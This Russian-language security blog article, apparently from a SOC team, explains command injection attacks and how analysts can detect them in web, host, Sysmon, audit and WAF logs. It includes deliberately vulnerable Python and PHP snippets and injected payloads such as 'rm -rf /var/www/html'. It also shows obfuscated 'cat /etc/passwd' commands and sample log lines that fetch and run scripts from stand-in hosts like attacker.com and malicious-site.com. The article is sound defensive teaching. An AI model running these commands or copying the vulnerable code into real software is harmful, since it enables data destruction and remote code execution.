Всем привет! В нашей практике мы часто сталкивались и устраняли последствия такого опасного вида атаки, как Command injection. Злоумышленники используют эту уязвимость для выполнения вредоносных команд, доступа к контролю вашего ПО и кражи данных. Последствия для бизнеса могут быть непредсказуемыми — и репутационными, и денежными из-за простоя процессов и затрат на восстановление. Под катом статья моего коллеги Димы Каплунова, аналитика SOC в К2 Кибербезопасность. Он собрал все, что вам нужно знать о Command injection: метод, лазейки и главное — как выявить атаку пока не стало слишком поздно.

Немного теории

Command injection (OS Commanding или Внедрение команд) — это вид атаки, целью которой является выполнение произвольных команд в операционной системе хоста через запущенное на нем уязвимое приложение. Атака происходит в результате эксплуатации уязвимости приложения, когда в хостовую систему передаются пользовательские вводные данные из приложения напрямую или с недостаточными проверками.

Command injection — это один из множества типов injection-атак, которые также включают SQL-инъекции, XPath-инъекции, LDAP-инъекции, Внедрение кода (Code injection) и другие. Такие атаки могут нанести серьезный ущерб инфраструктуре. 

Так, в рейтинге наиболее критических рисков безопасности для веб-приложений «OWASP Top 10 2021» уязвимости, связанные с injection-атаками, оказались на третьем месте. А список наиболее серьезных «недостатков безопасности ПО» «CWE Top 25» включал в себя «недостатки», связанные с Command injection в 2020 и 2024 годах.

Зачастую Command injection сравнивают с Code injection — еще одним распространенным типом атак. Однако в случае Code injection злоумышленник передает в приложение свой собственный код, который затем выполняется приложением. А в случае Command injection злоумышленник отдает команды напрямую операционной системе хоста, выходя за рамки самого приложения и не требуя интерпретатора/компилятора. Поэтому считается, что атака Command injection несет в себе бОльшую потенциальную опасность и ее последствия могут быть гораздо серьезнее.

Как происходит Command injection?

Такие атаки могут быть реализованы различными векторами. Наиболее распространенные — атаки через формы ввода данных и URL-запросы. Основные причины, из-за которых атаки Command injection становятся возможными, — недостаточные валидация и фильтрация вводимых данных, а также уязвимости используемых на сервере кодов.

Валидацией и фильтрацией данных обычно занимается сам сервер. Они представляют собой следующее: 

• Проверку формата и типа данных на соответствие ожидаемым. Например, данные в поле для IP-адреса должны не только соответствовать формату IP-адреса, но включать в себя только сочетание цифр, без буквенных значений.

• Удаление или экранирование символов, которые могут быть интерпретированы сервером как команда. Пример: экранирование передаваемых на сервер символов передачи параметров &, <, > и т.п.

Нужно отметить, что такие проверки могут происходить и на более ранних этапах: на клиентской стороне и промежуточном СЗИ.

Так, на клиентской стороне может осуществляться проверка формата или длины вводимых данных, чтобы облегчить работу сервера, но никак не заменить ее. Это важный момент — такие проверки могут избавить сервер от обработки, например, явных ошибок пользователей. Однако они не помешают атакующему передать команды серверу, используя инструменты типа BurpSuite.

Промежуточно расположенным СЗИ может являться, к примеру, WAF (Web Application Firewall). Он, в отличие от проверки на клиентской стороне, может действовать как самостоятельный этап защиты. WAF может предотвращать атаки подобного типа, анализируя передаваемые на сервер запросы, на наличие в них потенциально опасных символов или их сочетания (в том числе самих частей команд).

Давайте вернемся к самой атаке Command injection и более детально рассмотрим два наиболее распространенных варианта атаки.

В атаках через формы ввода данных для передачи вредоносных команд на сервер злоумышленники используют веб-формы. Уязвимости, которые позволяют это сделать возникают в том числе из-за отсутствия той самой валидации и фильтрации данных перед выполнением на сервере.

Особенно опасными такие уязвимости могут быть для тех серверов, где приложения передают команды напрямую в командную оболочку сервера.

Как происходит атака через форму ввода данных?

• Злоумышленник вводит команду оболочки в доступное текстовое поле в форме ввода.

• Приложение динамически формирует команду для выполнения на сервере, включая введенные в нее данные из поля в форме ввода.

• Сервер выполняет переданную команду с уровнем привилегий процесса приложения.

Пример атаки через форму ввода данных

Приведем достаточно классический, но понятный пример.

Существует вымышленный веб-сайт ping.me, который предоставляет веб-интерфейс с формой для пользователей — эта форма позволяет пользователям указать IP-адрес и проверить доступен ли он с сервера ping.me. При этом данные, которые передаются через поле для IP-адреса, не подвергаются тем проверкам, о которых мы говорили выше.

Со стороны сервера код для выполнения запроса на PING может быть представлен как Python-cкрипт:

import os

ip_address = input("Укажите  IP-адрес и нажмите кнопку PING: ")

os.system(f"ping {ip_address}")

Функция os.system принимает строку, которая будет выполнена как команда операционной системы. В данном случае используется строка с параметром, которая подставляет введенный пользователем IP-адрес в команду ping — скрипт изначально имеет уязвимость к Command injection.

Пользователь вводит ожидаемый в поле формы ip-адрес, например:

  1.1.1.1

Скрипт приложения ожидаемо и корректно отрабатывает его. 

Однако, если злоумышленник может ввести в поле формы иную команду, к примеру:

                       1.1.1.1 ; rm -rf /var/www/html

Здесь из-за использования символа передачи параметра «;» скрипт передаст на сервер сразу обе команды: «ping 1.1.1.1» выполнит предполагаемый функционал сервиса, а последующая «rm -rf /var/www/html» удалит веб-контент на сервере и нарушит его корректную работу. 

Здесь самое время сказать о том, что в реальных условиях вероятность того, что злоумышленник заранее знает какой код используется на сервере и подвержен ли он инъекциям, невелика. Поэтому зачастую злоумышленникам остается использовать «слепые» атаки — Blind Command Injection. Часто результат выполнения команд не отображается в выходных данных приложения, поэтому атакующий может использовать специальные команды-маркеры, которые дают ему понять, подвержен ли конкретный сервер инъекциям. Популярными можно назвать такие команды:

• sleep 10 или timeout /t 10 — сервер «зависает» и внезапно перестает отвечать;

• nslookup или ping attacker.com — если атакующий контролирует attacker.com, то он со своей стороны увидит соответствующие запросы.

Атаки вслепую могут использоваться в самом начале — на этапе разведки, когда атакующему нужно понять, возможно ли проведение атаки на конкретный сервер в целом. В таких случаях поведение сервера служит ему главным индикатором.

При атаке через URL-запрос злоумышленники используют схожую логику:

При атаках через URL-запросы, злоумышленник также пользуется тем, что передаваемые через URL-запросы параметры также не проходят этап фильтрации и валидации перед передачей в командную оболочку сервера.

Как происходит атака через URL-запрос:

• Атакующий манипулирует параметрами, которые передаются на сервер и содержатся в URL, то есть изменяет URL-запрос так, чтобы он содержал и необходимые атакующему параметры. 

• Веб-приложение передает измененный URL-запрос на сервер.

• Сервер принимает и выполняет измененный URL-запрос и команду, указанную злоумышленником дополнительно в параметре. 

Пример атаки через URL-запрос

Предположим, что пользователь хочет посмотреть/скачать нужный ему pdf-файл из вымышленного хранилища example.com, который также не подвергает запросы проверкам. После того как пользователь кликает по ссылке на файл, веб-приложение перенаправляет пользователя на определенную директорию на сервере — туда, где хранится этот файл. 

Ссылка в строке в этот момент может выглядеть, например, так:

Здесь веб-приложение использует параметр file в URL, а со стороны сервера работает такой скрипт:

<?php

$file = $_GET['file'];

exec("cat files/$file");

?>

Этот PHP-скрипт принимает значение параметра file из URL и выполняет команду операционной системы для чтения содержимого файла в указанной директории и имеет изначальную уязвимость к атаке — функция exec() напрямую выполняет пользовательский ввод. 

Если ссылка ведет на корректное имя файла, сервер выполняет ожидаемую команду cat files/studentbook.pdf и показывает содержимое файла пользователю. 

Однако атакующий может изменить URL-запрос, добавив дополнительные команды через параметры:

Теперь сервер выполнит сразу две команды: «cat files/studentbook.pdf» — отобразит содержимое файла, а «rm -rf /var/www/html» — удалит весь веб-контент на сервере.

Здесь самое время отметить, что использованные в примерах скрипты на Python и PHP являются лишь примерами. В реальности атаки могут быть совершены с использованием практически любых сред или языков — Java, Bash, PowerShell, SQL (кстати, для такого случая иногда выделяют отдельное название атаки — SQL Command Injection) и другие.

Как аналитику SOC выявить атаки Command injection?

Прежде всего, для обнаружения такой атаки, необходимо определить, какие события и от каких источников могут быть полезны:

• События с веб-сервера. Логи с веб-сервера могут содержать информацию о HTTP-запросах. Например, на попытку атаки могут указывать подозрительные и атипичные параметры в POST-запросах, такие как &, |, ;, > и <  — о параметрах поговорим чуть дальше.

• События из журнала приложения. Зачастую в журнал операций приложения заносятся данные, получаемые из форм ввода — они могут содержать запросы атакующего.

• События операционной системы сервера. Обычные, хостовые логи сервера могут сохранять информацию о выполнении команд, которые в том числе были внедрены злоумышленником.

• События с Web Application Firewall. Как и говорили ранее, WAF могут быть полезны как с точки зрения превентивной защиты, так и с точки зрения анализа и выявления попыток атак в событиях.

Находим признаки атаки Command injection в аномалиях и событиях

В SIEM-системах существуют целые наборы правил корреляции событий с указанных источников, которые способны выявить активность, связанную с Command injection. Выявление признаков атаки в событиях можно свести к общему базису.

Использование символов передачи параметров

Одним из самых основных признаков возможной попытки атаки является использование в командах символов передачи параметров — в двух примерах выше был использован символ «;». Он является частью целого набора символов, которые злоумышленники могут использовать для Command injection:

Символы передачи параметров являются важными инструментами для работы с командной строкой — они позволяют строить сложные команды и конвейеры. Конвейер позволяет эффективно комбинировать простые команды, чтобы создать более сложные функциональности. Однако именно неожиданное создание конвейера в примерах, которые приводили выше, привело к тому, что в результате одного запроса в приложение на сервере выполнились сразу две команды, в том числе команды, которые добавил злоумышленник. 

Нужно отметить, что символы передачи параметров — частый, но не обязательный признак атаки. Они могут встречаться в URL-адресах (пример: ?param=value&other=1), в коде веб-страниц. Важно и нужно анализировать их расположение и сочетание с командами. В случае атаки конвейер может быть составлен из подозрительного набора команд, к примеру, сочетания curl, wget или bash, использования apt-get с установкой неизвестного пакета. Поэтому важно не забывать, что простое наличие символов передачи не всегда означает вредоносную активность.

Обфускации в командной строке

Помимо параметров символов передачи данных, признаком попытки Command injection может являться обнаружение различного рода обфускаций, передающихся в командную строку. Обфускация может стать преградой для средств автоматизации при обнаружении атаки и обычно представлена в виде:

1. Кодирования команд. Самым классическим вариантом такой обфускации будет использование Base64, однако злоумышленники также могут использовать URL-кодирование. Команда cat /etc/passwd будет выглядеть уже не так явно:

• echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash — с кодированием Base64;

• cat%20/etc/passwd — c URL-кодированием.

2. Спецсимволов. Для обфускации команд спецсимволы могут использоваться как заменители обычных символов, разрывая команду, но сохраняя ее работу:

• c\at /etc/passwd — обратный слэш \ просто экранирует следующий символ и при разборе командной строки исчезает.

3. Комментариев. Атакующий может использовать вставку комментариев для разрыва команд в неожиданных местах, при этом команда все равно отработает.

Аномалии parent-child процессов

Аномалии в иерархии parent-child процессов также могут указывать на потенциальную атаку. В обычных условиях веб-серверы (например, Apache, Nginx или IIS) порождают дочерние процессы, связанные с обработкой веб-запросов и данных, их поведение довольно предсказуемо. Однако отклонения от обычной схемы работы могут быть индикаторами атаки:

• Запуск командной оболочки (/bin/sh, /bin/bash для Unix или cmd.exe, powershell.exe для Windows), инициированный веб-сервером, обычно не встречается в нормальной работе веб-сервера.

• Порождение веб-сервером нетипичных процессов (ping, curl, wget и др.). Обратим внимание, что некоторые из утилит могут использоваться штатно — поэтому важно заранее определить профиль нормального поведения веб-сервера, а затем выявлять отклонения от него. (Подробнее о профиле и том, как он определяется, поговорим в завершении статьи).

• Общие неожиданные изменения в структуре процессов, например, внезапное увеличение числа дочерних процессов, которое не происходит при нормальной работе.

Особое внимание важно уделять родительским процессам, имеющим внешний интерфейс — обычно они являются основной точкой входа для атакующих.

Приведем примеры аномалий в иерархии parent-child:

Событие с Unix-like сервера — запуск curl от процесса nginx, чтобы скачать подозрительный скрипт с ресурса http://attacker.com/malware.sh:

Feb 06 14:30:10 server kernel: [ 234567.123456] nginx[12345]: Running command: curl -o /tmp/malware.sh http://attacker.com/malware.sh 

Событие с машины на Windows — часть Sysmon-лога. Веб-сервер IIS через процесс w3wp.exe запускает cmd.exe, который затем выполняет закодированный PowerShell-скрипт:

<Event>

  <System>

    <Provider Name="Microsoft-Windows-Sysmon"/>

    <EventID>1</EventID>

  </System>

  <EventData>

    <Data Name="Image">C:\Windows\System32\cmd.exe</Data>

    <Data Name="ParentImage">C:\Program Files\IIS\w3wp.exe</Data>

    <Data Name="CommandLine">cmd.exe /c powershell -Enc cGluZyBhdHR...=</Data>

    <Data Name="User">IIS APPPOOL\DefaultAppPool</Data>

  </EventData>

</Event>

Аномальное поведение системных пользователей

В качестве примера рассмотрим системную учетную запись www-data (хотя это будет верно и для любых других системных УЗ), которая используется в Unix-like системах для запуска процессов веб-серверов (тех же Apache или Nginx). Такие учетные записи должны обладать минимально необходимыми привилегиями в рамках выполнения своих задач, чтобы минимизировать риск развития атак на систему.

Однако, даже при ограниченных правах, злоумышленник может использовать их для атаки. Так, аномальным будет являться повышение привилегий от любых сервисных учетных записей. В большинстве Unix-like систем пользователям с UID < 1000 (например, www-data, postgres, apache) не требуется выполнять команды с правами root или запускать процессы, требующие повышенных прав. Для их нормальной работы, как правило, достаточно уже выданного набора прав.

Приведем пример в виде лога с Unix-like сервера:

type=SYSCALL msg=audit(1617173812.123:1543): arch=c000003e syscall=59 success=yes exit=0 a0=5637e4010100 a1=5637e40b6c00 a2=5637e41ac680 a3=7ffd563d7950 items=2 ppid=1234 pid=5678 auid=33 uid=33 gid=33 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=2 comm="bash" exe="/bin/bash" subj=…

Для понимания произошедшего здесь, особенно важны три типа UID:

• UID (User ID), который показывает изначального владельца процесса.

• EUID (Effective User ID), который определяет фактические права, с которыми исполняется процесс — если euid=0, процесс выполняется с root-правами.

• AUID (Audit User ID), который показывает, кто изначально вошел в систему и запустил процесс — он не изменяется при sudo или su, поэтому помогает определить изначального атакующего.

Этот пример отличается предыдущих — это запись в журнале аудита, в нем фиксируются системные вызовы, которые запускают программу, но не сами команды, переданные в оболочку. В нем видно, что от имени пользователя с UID = 33 и AUID = 33 выполняется системный вызов execve, чтобы запустить новый экземпляр оболочки bash c EUID = 0 (euid — эффективный идентификатор пользователя, который указывает, что процесс выполняется с root-привилегиями), что свидетельствует о повышении привилегий от системной учетной записи.

Так, в контексте анализа активности системного пользователя потенциально опасными могут стать:

• Повышение привилегий: обычно сервисным учетным записям хватает заранее выделенных прав. Отметим, что теоретически такая активность может быть нормальной, однако она хорошо профилируются, а вот отклонения от профиля могут стать реальными индикаторами атаки.

• Выполнение необычных команд: Запуск командных оболочек, таких как bash или sh, которые не используются в обычной работе веб-сервера.

• Использование атипичных утилит: Использование утилит, таких как curl или wget, для загрузки файлов, особенно если загрузки происходят с неизвестных URL-адресов.

• Изменение системных файлов: Редактирование, создание или удаление системных или конфигурационных файлов

• Аномальная сетевая активность: Увеличение количества исходящих соединений и/или исходящие соединения к неизвестным адресам. Сюда же можно отнести использование утилит, типа nmap, которые могут быть применены для разведки.

• Доступ к важным файлам: Просмотр системных каталогов или файлов с помощью команд, таких как ls или cat, для доступа к файлам вроде /etc/passwd, /var/www/ и другим важным системным данным.

Аномальное использование системных утилит LOLBins и GTFOBins

Часто при атаках Command injection, атакующие могут пользоваться легитимными системными инструментами или бинарными файлами LOLBins (Living Off the Land Binaries), которые уже были установлены в операционной системе. Среди таких утилит, под которые злоумышленники могут маскировать свою деятельность как легитимную активность можно выделить:

• Bash и sh, которые прежде всего могут быть использованы для исполнения последовательности команд или скриптов, полученных при помощи внедрения команд

• Python и perl, которые могут быть использованы для исполнения более сложных скриптов.

• сurl и wget, которые атакующие могут использовать для скачивания дополнительной вредоносной нагрузки с удалённых серверов.

• Find, которая может использоваться как в целом для разведки, так и для поиска файлов, полезных злоумышленникам для атаки.

• Scp и ftp, которые могут принимать и передавать файлы на удаленные серверы.

• Tar, gzip и bzip2, которые могут быть использованы для архивирования файлов и сокрытия вредоносной деятельности. 

Отдельно стоит отметить именно GTFOBins — это частный случай LOLBins, утилиты, которые могут использоваться для повышения привилегий и обхода ограничений. Например, аномальным поведением будет являться запуск от имени службы или служебной учетной записи таких утилит:

• vi, less, awk — которые позволяют открыть shell с повышенными правами.

• tar, zip — они могут использоваться для выполнения команд с sudo.

• openssl — она позволяет выполнить произвольные команды через внутренние функции.

Полный список утилит GTFOBins для Unix-like систем можно найти тут, а полный список LOLBins для Windows — тут.

Приведем пример — на машине с Unix от имени пользователя www-data происходит запуск find с целью получить список учетных записей пользователей:

Feb 08 13:35:10 server kernel: [1234567.890] www-data executed: find / -name "passwd"

А вот пример (часть Sysmon-лога) с использованием «легитимного» schtasks на сервере с Windows — атакующий использует запланированную задачу для загрузки ВПО:

<Event> 

  <System> 

    <Provider Name="Microsoft-Windows-Sysmon"/> 

    <EventID>1</EventID> 

  </System> 

  <EventData> 

    <Data Name="Image">C:\Windows\System32\cmd.exe</Data> 

    <Data Name="ParentImage">C:\Program Files\IIS\w3wp.exe</Data> 

    <Data Name="CommandLine">cmd.exe /c schtasks /create /tn "maliciousTask" /tr "powershell -Command Invoke-WebRequest 'http://malicious-site.com/malicious.exe' -OutFile C:\Windows\Temp\malicious.exe" /sc once /st 00:00</Data> 

    <Data Name="User">IIS APPPOOL\DefaultAppPool</Data> 

  </EventData> 

</Event>

Элементы команд или системных файлов в URL

Еще одним из индикаторов атаки Command injection является наличие подозрительных элементов командной строки или системных файлов в URL. Такие признаки характерны для логов Web Application Firewall (WAF), прокси-серверов или серверных логов веб-приложений — в них можно увидеть параметры, формы, части кода, которые не являются типичными пользовательскими запросами. 

Приведем пример лога с WAF:

<166> 2025-01-15T19:29:42Z waf-vm  tag.type=attack Data: event.severity=high; 

src.ip=XXX.XXX.XXX.XXX; src.port=0; method=GET; 

param.name=; 

param.value=["$(id>wget -O- http://malicious-site.com/t|sh;)"]; 

host=example.com; path=/cart/; 

action.name=Log to DB, Block request; 

client.cookie=; client.browser=; client.os=; 

geo.city=; geo.country=; 

username=; tag.name=OS Commanding; 

event.msg=An OS Command Injection attempt is detected; 

module=rule-engine; rules=; policy=; 

dst.ip=YYY.YYY.YYY.YYY; task=; dst.port=443

Здесь атакующий передал в URL команду wget -O с потенциальной целью получить информацию о системе, загрузить вредоносный скрипт с malicious-site.com и исполнить загруженный скрипт.

Многие из указанных выше признаков очень схожи и достаточно общие, а также могут быть признаками и других типов атак. Поэтому важно помнить, что обнаружение указанных признаков атаки указывает лишь на возможную попытку атаки Command injection. Такие подозрительные события должны обязательно подвергаться дополнительному анализу. 

Так, при дополнительном анализе «подозреваемых» событий и их окружения, могут помочь такие действия: 

Восстановить дерево процессов. Дерево процессов поможет понять первоисточник запросов на выполнение тех или иных команд. Также, например, если замечены аномальные обращения на WAF, можно установить конкретный хост, на который отправлены обращения и провести анализ хостовых логов сервера — выяснить выполнялись ли подобные команды в данном промежутке времени на хостовой системе.

Однозначно определить пользователя, от имени которого была выполнена команда. Если событие произошло в Unix-системе, то следует обращать внимание на aiud учетной записи. К примеру, в auid может быть указан «postres», а в euid — иной пользователь. Это будет означать выполнение команды daemon от имени другой учетной записи. Обычно такое поведение daemon является аномальным.

Определить результат выполнения команд конвейера и проанализировать события в окружении. При анализе команды стоит обращать внимание на:

• Обращение к системным файлам — в каталогах etc и bin.

• Установку пакетов — при помощи apt, make install, yum.

• Обращение в сеть — команды curl, wget.

• Команды разведки — ls, grep, cut, find, которые идут подряд.

• Манипуляции с учетными записями — изменение прав, групп.

• Команды модификации логов — очистка bash history, изменение файлов директории /var/log.

Определить типичность такого поведения. Чтобы понять является ли выполнение подозрительных команд разовым или имеет определенные периоды повторения, можно воспользоваться поиском по прошлым событиям с данного хоста. К примеру, выполнение от имени службы конвейера раз в неделю в одинаковый временной интервал может свидетельствовать об обновлении этой же службы. 

Для выявления атаки также может быть полезно использовать профилирование и индекс аномалий. Профилирование — это изучение активности пользователя или системы для формирования базового профиля нормального поведения. Индекс аномалий позволяет оценивать отклонения текущих событий от этой нормы.

Профилирование включает сбор и анализ данных (логи, сетевой трафик, отчёты о ресурсах), выявление закономерностей и построение модели нормального поведения в виде набора правил.

Индекс аномалий в свою очередь помогает количественно оценить отклонение от профиля нормального поведение, основываясь на частоте и типе событий. События, поступающие в реальном времени, сравниваются их с типичными статистическими значениями. Больше отклонений от нормального профиля — выше число индекса аномалии.

В контексте обнаружения атаки Command injection особенно полезными могут оказаться создание и подсчет индекса аномалий для профилей системы и приложений. Для профилирования системы могут использоваться данные использования ресурсов ЦП, памяти и сетевого трафика. 

Профилирование приложения, может быть полезным для выявления атаки начиная с самых ранних этапов. Для создания профиля приложения могут использоваться данные о том, с какими файлами осуществляется взаимодействие, какие процессы порождает, какие запросы отправляет. 

Профиль системы, основанный на таких данных, может быть полезен для более поздних этапов атаки, так как позволит заметить применение вредоносного ПО, которое зачастую активно использует ресурсы. 

Профилирование поможет выявить атипичные URL-запросы, ранее не используемые команды и запросы с необычными параметрами — многие признаки атак, в том числе атаки Command injection. 

Заключение

Command injection — опасная атака, которая способна нанести существенный ущерб инфраструктуре организации — начиная от точечной компрометации отдельных серверов, заканчивая полной остановкой работы инфраструктуры. При этом эффективная защита в виде различных проверок пользовательского ввода, принципов минимизации привилегий и использование СЗИ типа WAF позволят минимизировать риски атаки. А понимание логики таких угроз и умение оперативно выявлять признаки компрометации делает SOC-аналитика ключевым звеном при предотвращении попытки атаки.